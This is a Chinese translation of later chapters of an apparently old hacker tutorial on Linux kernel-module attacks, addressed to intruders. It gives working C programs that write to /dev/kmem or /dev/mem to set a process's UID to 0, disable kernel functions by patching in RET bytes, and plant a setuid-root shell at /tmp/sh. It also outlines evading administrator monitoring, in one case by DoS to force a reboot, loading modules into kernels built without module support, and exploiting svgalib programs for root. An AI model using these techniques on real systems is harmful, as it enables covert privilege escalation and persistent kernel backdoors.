第四部分 一些更好的想法（給hacker的）
4.1 擊敗系統管理員的LKM的方法
這一部分會給我們對付一些使用LKM保護內核的多疑（好的）的管理員的方法。在解釋了所有系統管理員能夠使用的方法之後，很難為我們（hackers）找到一個更好的辦法。我們需要離開LKM一會兒，來尋找擊敗這些困難的保護的方法。
假定一個系統可以被管理員安裝上一個十分好的大範圍的監視的LKM，他可以檢查那個系統的每一個細節。他可以做到第二或者第三部分提到的所有事情。
第一種除掉這些LKM的方法可以是重新啟動系統。也許管理員並沒有在啟動文件裡面載入這些LKM。因此，試一些DoS攻擊或者其他的。如果你還不能除去這個LKM就看看其他的一些重要文件。但是要仔細，一些文件有可能是被保護或者監視的（見附錄A，裡面有一個類似的LKM）。
假如你真的找不到LKM是在那裡載入的等等，不要忘記系統是已經安裝了一個後門的。這樣你就不可以隱藏文件或者進程了。但是如果一個管理員真正使用了這麼一個超級的LKM，忘記這個系統吧。你可能遇到真正的好的對手並且將會有麻煩。對於那些確實想擊敗這個系統的，讀第二小節。
4.2 修補整個內核-或者創建Hacker-OS
[注意：這一節聽上去可能有一些離題了。但是在最後我會給出一個很漂亮的想法（Silvio
Cesare寫的程序也可以幫助我們使用我們的LKM。這一節只會給出整個內核問題的一個大概的想法，因為我只需要跟隨Sivio Cesare的想法]
OK，LKM是很好的。但是如果系統管理員喜歡在5。1中提到的想法。他做了很多來阻止我們使用我們在第二部分學到的美妙的LKM技術。他甚至修補他自己的內核來使他的系統安全。他使用一個不需要LKM支持的內核。
因此，現在到了我們使用我們最後一招的時候了：運行時內核補丁。最基本的想法來自我發現的一些源程序（比如說Kmemthief），還有Silvio
Cesare的一個描述如何改變內核符號的論文。在我看來，這種攻擊是一種很強大的'內核入侵'。我並不是懂得每一個Un*x，但是這種方法可以在很多系統上使用。這一節描述的是運行時內核補丁。但是為什麼不談談內核文件補丁呢？每一個系統有一個文件來代表內核，在免費的系統中，像FreeBSD，Linux，。。。。，改變一個內核文件是很容易的。但是在商業系統中呢？我從來沒有試過。但是我想這會是很有趣的：想象通過一個內核的補丁作為系統的後門.你只好重新啟動系統或者等待一次啟動。（每個系統都需要啟動）。但是這個教材只會處理運行時的補丁方式。你也許說這個教材叫入侵Linux可卸載內核模塊，並且你不想知道如何補丁整個內核。好的，這一節將會教會我們如何'insmod'LKM到一個十分安全的，或者沒有LKM支持的系統。因此我們還是學到了一些和LKM有關的東西了。
因此，讓我們開始我們最為重要的必須處理的東西，如果我們想學習RKP（Runtime Kernel Patching）的話。這就是/dev/kmem文件。他可以幫助我們看到（並且更改）整個我們的系統的虛擬內存。[注意：這個RKP方法在通常情況下是十分有用的，如果你控制了那個系統以後。只有非常不安全的系統才會讓普通用戶存取那個文件]。
正如我所說的，/dev/kmem可以使我們有機會看到我們系統中的每一個內存位元組（包括swap）。這意味著我們可以存取整個內存，這就允許我們操縱內存中的每一個內核元素。（因為內核只是載入到系統內存的目標代碼）。記住/proc/ksyms文件記錄了每一個輸出的內核符號的地址。因此我們知道如何才能通過更改內存來控制一些內核符號。下面讓我們來看看一個很早就知道的很基本的例子。下面的（用戶空間）的程序獲得了task_structure的地址和某一個PID.在搜索了代表某個PID的任務結構以後，他改變了每個用戶的ID域使得UID=0。當然，今天這樣的程序是毫無用處的。因為絕大多數的系統不會允許一個普通的用戶去讀取/dev/kmem。但是這是一個關於RKP的好的介紹。
/*注意：我沒有實現錯誤檢查*/
#include
#include
#include
#include
/*我們想要改變的任務結構的最大數目*/
#define NR_TASKS 512
/*我們的任務結構-〉我只使用了我們需要的那部分*/
struct task_struct {
char a[108]; /*我們不需要的*/
int pid;
char b[168]; /*我們不需要的*/
unsigned short uid,euid,suid,fsuid;
unsigned short gid,egid,sgid,fsgid;
char c[700]; /*我們不需要的*/
};
/*下面是原始的任務結構，你可以看看還有其他的什麼是你可以改變的
struct task_struct {
volatile long state;
long counter;
long priority;
unsigned long signal;
unsigned long blocked;
unsigned long flags;
int errno;
long debugreg[8];
struct exec_domain *exec_domain;
struct linux_binfmt *binfmt;
struct task_struct *next_task, *prev_task;
struct task_struct *next_run, *prev_run;
unsigned long saved_kernel_stack;
unsigned long kernel_stack_page;
int exit_code, exit_signal;
unsigned long personality;
int dumpable:1;
int did_exec:1;
int pid;
int pgrp;
int tty_old_pgrp;
int session;
int leader;
int groups[NGROUPS];
struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
struct wait_queue *wait_chldexit;
unsigned short uid,euid,suid,fsuid;
unsigned short gid,egid,sgid,fsgid;
unsigned long timeout, policy, rt_priority;
unsigned long it_real_value, it_prof_value, it_virt_value;
unsigned long it_real_incr, it_prof_incr, it_virt_incr;
struct timer_list real_timer;
long utime, stime, cutime, cstime, start_time;
unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
int swappable:1;
unsigned long swap_address;
unsigned long old_maj_flt;
unsigned long dec_flt;
unsigned long swap_cnt;
struct rlimit rlim[RLIM_NLIMITS];
unsigned short used_math;
char comm[16];
int link_count;
struct tty_struct *tty;
struct sem_undo *semundo;
struct sem_queue *semsleeping;
struct desc_struct *ldt;
struct thread_struct tss;
struct fs_struct *fs;
struct files_struct *files;
struct mm_struct *mm;
struct signal_struct *sig;
#ifdef __SMP__
int processor;
int last_processor;
int lock_depth;
#endif
};
*/
int main(int argc, char *argv[])
{
unsigned long task[NR_TASKS];
/*用於特定PID的任務結構*/
struct task_struct current;
int kmemh;
int i;
pid_t pid;
int retval;
pid = atoi(argv[2]);
kmemh = open("/dev/kmem", O_RDWR);
/*找到第一個任務結構的內存地址*/
lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
read(kmemh, task, sizeof(task));
/*遍歷知道我們找到我們的任務結構（由PID確定）*/
for (i = 0; i < NR_TASKS; i++)
{
lseek(kmemh, task, SEEK_SET);
read(kmemh, ¤t, sizeof(current));
/*是我們的進程么*/
if (current.pid == pid)
{
/*是的，因此改變UID域。。。。*/
current.uid = current.euid = 0;
current.gid = current.egid = 0;
/*寫回到內存*/
lseek(kmemh, task, SEEK_SET);
write(kmemh, ¤t, sizeof(current));
printf("Process was found and task structure was modified\n");
exit(0);
}
}
}
關於這個小程序沒有什麼太特殊的地方。他不過是在一個域中找到某些匹配的，然後再改變某些域罷了。除此之外還有很多程序來做類似的工作。你可以看到，上面的這個例子並不能幫助你攻擊系統。他只是用於演示的。（但是也許有一些弱智的系統允許用戶寫/dev/kmem，我不知道）。用同樣的方法你也可以改變控制系統內核信息的模塊結構。通過對kmem操作，你也可以隱藏一個模塊；我在這裡就不給出源代碼了，因為基本上和上面的那個程序一樣（當然，搜索是有點難了）。通過上面的方法我們可以改變一個內核的結構。有一些程序是做這個的。但是，對於函數我們怎麼辦呢？我們可以在網上搜索，並且會發現並沒有太多的程序來完成這個。當然，對一個內核函數進行補丁會更有技巧一些（在後面我們會做一些更有用的事情）。對於sys_call_table結構的最好的入侵方法就是讓他指向一個完全我們自己的新的函數。下面的例子僅僅是一個十分簡單的程序，他讓所有的系統調用什麼也不幹。我僅僅插入一個RET（0xc3）在每一個我從/proc/ksyms獲得的函數地址前面。這樣這個函數就會馬上返回，什麼也不做。
/*同樣的，沒有錯誤檢查*/
#include
#include
#include
#include
/*不過是我們的返回代碼*/
unsigned char asmcode[]={0xc3};
int main(int argc, char *argv[])
{
unsigned long counter;
int kmemh;
/*打開設備*/
kmemh = open("/dev/kmem", O_RDWR);
/*找到內存地址中函數開始的地方*/
lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
/*寫入我們的補丁位元組*/
write(kmemh, &asmcode, 1):
close(kmemh);
}
讓我們總結一下我們目前所知道的：我們可以改變任何內核符號；這包括一些像sys_call_table[]這樣的東西，還有其他任何的函數或者結構。記住每個內核補丁只有在我們可以存取到/dev/kmem的時候才可以使用。但是我們也知道了如何保護這個文件。可以看3.5.5。
###adv### 4.2.1 如何在/dev/kmem中找到內核符號表
在上面的一些基本的例子過後，你也許會問如何更改任何一個內核符號以及如何才能找到有趣的東西。在上面的例子中，我們使用/proc/ksyms來找到我們需要改變的符號的地址。但是當我們在一個內核裡面沒有LKM支持的系統時該怎麼辦呢？這將不會有/proc/ksyms這個文件了，因為這個文件只用於管理模塊。（公共的，或者存在的符號）。那麼對於那些沒有輸出的內核符號我們該怎麼辦呢？我們怎樣才能更改他們？
呵呵，有很多問題。現在讓我們來找一些解決的方案。Silvio Cesare討論過一些發現不同的內核符號的方法（公共的或者不公開的）。他指出當編譯Linux內核的時候，一個名字叫System。map的文件被創建，他映射每一個內核的符號到一個固定的地址。這個文件只是在編譯的時候解析這些內核的符號的時候才需要。運行著的系統沒有必要使用這個文件。這些編譯時候使用的地址和/dev/kmem裡面使用的使一樣的。因此，通常的步驟是：
查找system。map來獲得需要的內核符號
找到我們的地址
改變內核符號（結構，函數，或者其他的）
聽上去相當的容易。但是這裡會有一個大問題。每一個系統並不使用和我們一樣的內核，因此他們的內核符號的地址也不會和我們的一樣。而且在大多數系統中你並不會找到一個有用的system。map文件來告訴你每一個地址。那我們應該怎麼辦呢？Silvio Cesare建議我們使用一種關鍵碼搜尋的方法。只要使用你的內核，讀一個符號的開始的十個位元組的（是隨機的）值，並且把這十個值作為關鍵碼來在另一個內核中搜尋地址。如果你不能為某個符號找到一個一般的關鍵碼，你可以嘗試找到這個符號和系統其他你可以找到關鍵碼的符號的關係。要找到這種關係你可以看內核的源代碼。通過這種方法，你可以找到一些你可以改變的有趣的內核符號。（補丁）。
4.2.2 新的不需要內核支持的'insmod'
現在到了我們回到我們的LKM入侵上的時候了。這一節將會向你介紹Silvio Cesare的kinsmod程序。我只會列出大體上的工作方法。這個程序的最為複雜的部分在於處理（elf文件）的目標代碼和內核空間的映射。但是這只是一個處理elf頭的問題，不是內核問題。Silvio Cesare使用elf文件是因為通過這種方法你可以安裝[正常]的LKMs。當然也可以寫一個文件（僅僅是操作碼-〉看我的RET例子）並且插入這個文件，這會有點難，但是映射會很容易。對於那些想真正理解elf文件處理的，我把Silvio Cesare的教材加進來了。（我已經做了，因為Silvio Cesare希望他的源代碼或者想法只能在那份教材裡面作為一個整體傳播）。
現在讓我們來看看在一個沒有LKM支持的系統中插入LKM的方法。
如果我們想插入代碼（一個LKM或者其他的任何東西），我們將要面對的第一個問題是如何獲得內存。我們不能取一個隨機的地址然後就往/dev/kmem裡面寫我們的目標代碼。因此我們必須找到一個放我們的代碼的地方，他不能傷害到我們的系統，而且不能因為一些內核操作就被內核釋放。有一個地方我們可以插入一些代碼，看一眼下面的顯示所有內核內存的圖表：
kernel data
...
kmalloc pool
Kmalloc
pool是用來給內核空間的內存分配用的（kmalloc(...))。我們不能把我們的代碼放在這裡，因為我們不能確定我們所寫的這個地址空間是沒有用的。現在看看Silvio Cesare的想法：kmalloc pool在內存中的邊界是存在內核輸出的memory_start和memory_end裡面的。（見/proc/ksyms）。有意思的一點在於開始的地(memory_start)並不是確切的kmalloc pool的開始地址。因為這個地址要和下一頁的memory_start對齊。因此，會有一些內存是永遠都不會被用到的。（在memory_start和真正的kmalloc pool的開始處）。這是我們插入我們的代碼的最好的地方。OK,這並不是所有的一切。你也許會意識到在這個小小的內存空間裡面放不下任何有用的LKM。Silvio Cesare把一些啟動代碼放在這裡。這些代碼載入實際的LKM。通過這個方法，我們可以在缺乏LKM支持的系統上載入LKM。請閱讀Silvio Cesare的論文來獲得進一步的討論以及如何實際上將一個LKM文件（elf 格式的）映射到內核。這會有一點難度。
4.3 最後的話
第二節的主意很好。但是對於那些不允許存取kmem的系統呢？最後的一個方法就是利用一些內核系統漏洞來插入/改變內核空間。在內核空間總是要有一些緩衝區溢出或者其他的毛病。還要考慮到一些模塊的漏洞。只要看一眼內核的許多源文件。甚至用戶空間的程序也可以幫助我們改變內核。
我還記得，在幾個星期以前，一個和svgalib有關的漏洞被發現。每一個程序通過使用svgalib來獲得一個向/dev/mem的寫許可權。/dev/mem也可以被RKP用來獲得和/dev/kmeme一樣的地址。因此看一看下面的列表，來獲得一些如何在一個非常安全的系統中做RKP的方法：
找到一個使用svgalib的程序。
檢查那個程序，獲得一個一般的緩衝區溢出（這應該並不會太難）
寫一個簡單的程序來啟動一個程序，打開/dev/mem，獲得寫句柄，並且可以操縱任務結構使得你的進程的UID=0
###adv### 創建一個root的shell
這個機制通常運行的很好（zgv,gnuplot或者其他的一些著名的例子）。為了獲得這個任務結構一些人使用下面的Nergal的程序（這是使用了打開寫句柄的）
/*Nergal的作品*/
#define SEEK_SET 0
#define __KERNEL__
#include
#undef __KERNEL__
#define SIZEOF sizeof(struct task_struct)
int mem_fd;
int mypid;
void
testtask (unsigned int mem_offset)
{
struct task_struct some_task;
int uid, pid;
lseek (mem_fd, mem_offset, SEEK_SET);
read (mem_fd, &some_task, SIZEOF);
if (some_task.pid == mypid)
/*是我們的任務結構么？*/
{
some_task.euid = 0;
some_task.fsuid = 0;
/*chown需要這個*/
lseek (mem_fd, mem_offset, SEEK_SET);
write (mem_fd, &some_task, SIZEOF);
/*從現在起，對於我們來說沒有法律。。。*/
chown ("/tmp/sh", 0, 0);
chmod ("/tmp/sh", 04755);
exit (0);
}
}
#define KSTAT 0x001a8fb8
/*《-改變這個地址為你的kstat*/
main ()
/*通過執行/proc/ksyms|grep kstat*/
{
unsigned int i;
struct task_struct *task[NR_TASKS];
unsigned int task_addr = KSTAT - NR_TASKS * 4;
mem_fd = 3;
/*假定要打開的是/dev/mem*/
mypid = getpid ();
lseek (mem_fd, task_addr, SEEK_SET);
read (mem_fd, task, NR_TASKS * 4);
for (i = 0; i < NR_TASKS; i++)
if (task)
testtask ((unsigned int)(task));
}
這隻不過是一個例子，是為了告訴你不管怎麼樣，你總是能夠找到一些方法的。對於有堆棧執行許可權的系統，你可以找堆棧溢出，或者跳到某些庫函數(system(...)).會有很多方法……
我希望這最後的一節可以給你一些如何繼續的提示。
###adv### 第五部分 最近的一些東西：2.2.x版本的內核
5.1 對於LKM作者來說，一些主要的不同點
Linux有了一個新的主版本：2.2在LKM編程上,他帶給我們一些小的改變。這一部分將會幫助你適應這些變化，並且列出了大的一些變化。[注意：關於新的版本的內核，會有另一個發布版本]
我會向你介紹一些新的宏和函數來幫助你開發2.2版本的內核的LKM。要獲得每一個確切的變化可以看新的頭文件linux/module.h。這個文件在2.1.18版本的內核中被完全的重寫了。首先讓我們來看看一些可以幫助我們更方便的處理系統調用表的宏：
宏描述
EXPORT_NO_SYMBOLS：這一個相當於舊版本內核的register_symtab（NULL）
EXPORT_SYMTAB：如果你想輸出一些符號的話，必須在linux/module.h前面定義這個宏
EXPORT_SYMBOL(name)：輸出名字叫'name'的宏
EXPORT_SYMBOL_NOVERS(name)：沒有版本信息的輸出符號
用戶空間的存取函數也有很大的變化。因此我會在這裡列出來（只要包含asm/uaccess.h來使用他們）：
函數描述
int access_ok (int type, unsigned long addr, unsigned long size);
這個函數檢查是否當前進程允許存取某個地址
unsigned long copy_from_user (unsigned long to, unsigned long from,
unsigned long len);
這個是新的memcpy_tofs函數
unsigned long copy_to_user (unsigned long to, unsigned long from, unsigned
long len);
這是相對應的copy_from_user(...)
你沒有必要使用access_ok(...)，因為上面列出的函數都自己檢查這個。還有許多不一樣的地方，但是你可以看看linux/module.h來獲得一個詳細的列表。
我最後想提一件事情。我寫了很多關於內核守護進程（kerneld）的東西。2.2版的內核不會再使用kerneld了。他使用另外一種方法來實現內核空間的request_module(...)函數-叫做kmod。kmod完全是運行在內核空間的（不再IPC到用戶空間了）。對於LKM程序員來說，沒有什麼大的變化。你還是可以使用request_module(...)來載入模塊。因此LKM傳染者還是可以在2.2的內核中使用。
我很抱歉關於2.2內核只有這麼少的東西。但是目前我正在寫一個關於2.2內核安全的論文（特別是LKM的）。因此請注意新的THC發布的論文。我甚至計劃工作在一些BSD系統上（FreeBSD,OpenBSD,例如）但是這會發幾個月的時間。
第六部分 最後的話
6.1 LKM傳奇以及如何使得一個系統即好用又安全
你大概會感到奇怪，既然LKM這麼的不安全，那麼為什麼要使用他們呢。最初LKM是被設計使得用戶更為方便的。Linux和Microsoft相對立，因此開發者們需要一個使得老的Unxi系統更為吸引人和容易的方法。他們實現了KDE和其他很好的東西。比如說，kerneld就是被用來使得模塊處理更為容易的。但是要記住，越為簡單和自動化的系統就會有越多的安全問題。不可能同時使得一個系統既讓用戶感到很方便又有足夠的安全性。模塊就是一個很好的這樣的例子。
Microsoft給了我們另外一個例子：考慮ActiveX，他（大概）是個好主意，用一個安全的設計來保證一切都是簡單的。
因此，親愛的Linux開發者們；請謹慎了，不要犯Microsoft的錯誤。不要創建一個好用，但是不安全的OS。把安全時刻記在心中！！！
這篇文章也很清楚的說明了任何系統的內核必須用最好的方法進行保護。不能讓一個入侵者更改你系統中最為重要的部分。我把這個任務留給所有系統的設計者。：）
